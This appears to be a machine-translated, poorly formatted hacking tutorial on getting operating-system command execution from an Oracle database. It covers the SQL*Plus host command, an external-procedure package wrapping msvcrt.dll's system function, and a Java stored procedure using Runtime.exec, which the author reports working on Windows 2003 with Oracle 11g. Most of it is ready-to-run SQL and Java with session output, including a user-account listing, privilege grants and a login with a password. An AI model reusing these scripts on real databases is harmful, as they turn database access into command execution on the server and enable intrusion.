oracle performs the implementation of cmd


But there is a simple way to execute the cmd command: SQL > host net user User accounts for \\PC-ATQHJ4UG1SDA ---------------------------------------------------------------------------- __vmware_user__ admin Administrator ASPNET Guest IUSR_PC-ATQHJ4UG1SDA IWAM_PC-ATQHJ4UG1SDA SUPPORT_388945a0 The command completed successfully. unix or linux ! command = = = = = = = = = = = = = = = = = = = = = = supplement = = = = = = = = = = = = = = = = = = = = = = Two other online methods: 1 is using msvcrt.dll Write a c: \ orac sql Content: Rem Rem oracmd.sql Rem Rem Run system commands via Oracle database servers Rem Rem Bugs to [email protected] Rem CREATE OR REPLACE LIBRARY exec_shell AS ‘C:\windows\system32\msvcrt.dll’; / show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME “system” LIBRARY exec_shell LANGUAGE C; end oracmd; / show errors Then C: \ > sqlplus /nolog SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001 (c) Copyright 2000 Oracle Corporation. All rights reserved. SQL > connect system/ ES93en@orcl (username and password and sid, respectively) Connected. SQL > @c:\orac.sql Library created. No errors. Package created. No errors. Package body created. No errors. SQL > SQL > exec oracmd.exec (‘dir > c:\oracle.txt’); The results appear on my machine Error in line 1: ORA-28595: Extproc Agent: The DLL path is invalid ORA-06512: in “SYSTEM.ORACMD ”, line 2 ORA - 06512: in line 1 It didn’t work. The second method c:\1.sql create or replace and compile java souRCe named “util” as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } c:\2.sql create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name ‘util.RunThis(java.lang.String) return integer’; c:\3.sql create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; After logging in, it is still executed in sequence SQL > @c:\1.sql / @c:\2.sql / @c:\3.sql / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; (Online method without this 1 line, I can not succeed, add can) exec: x: = run_cmz (’ ipconfig ’); The command ran successfully Test environment win2003+oracle11g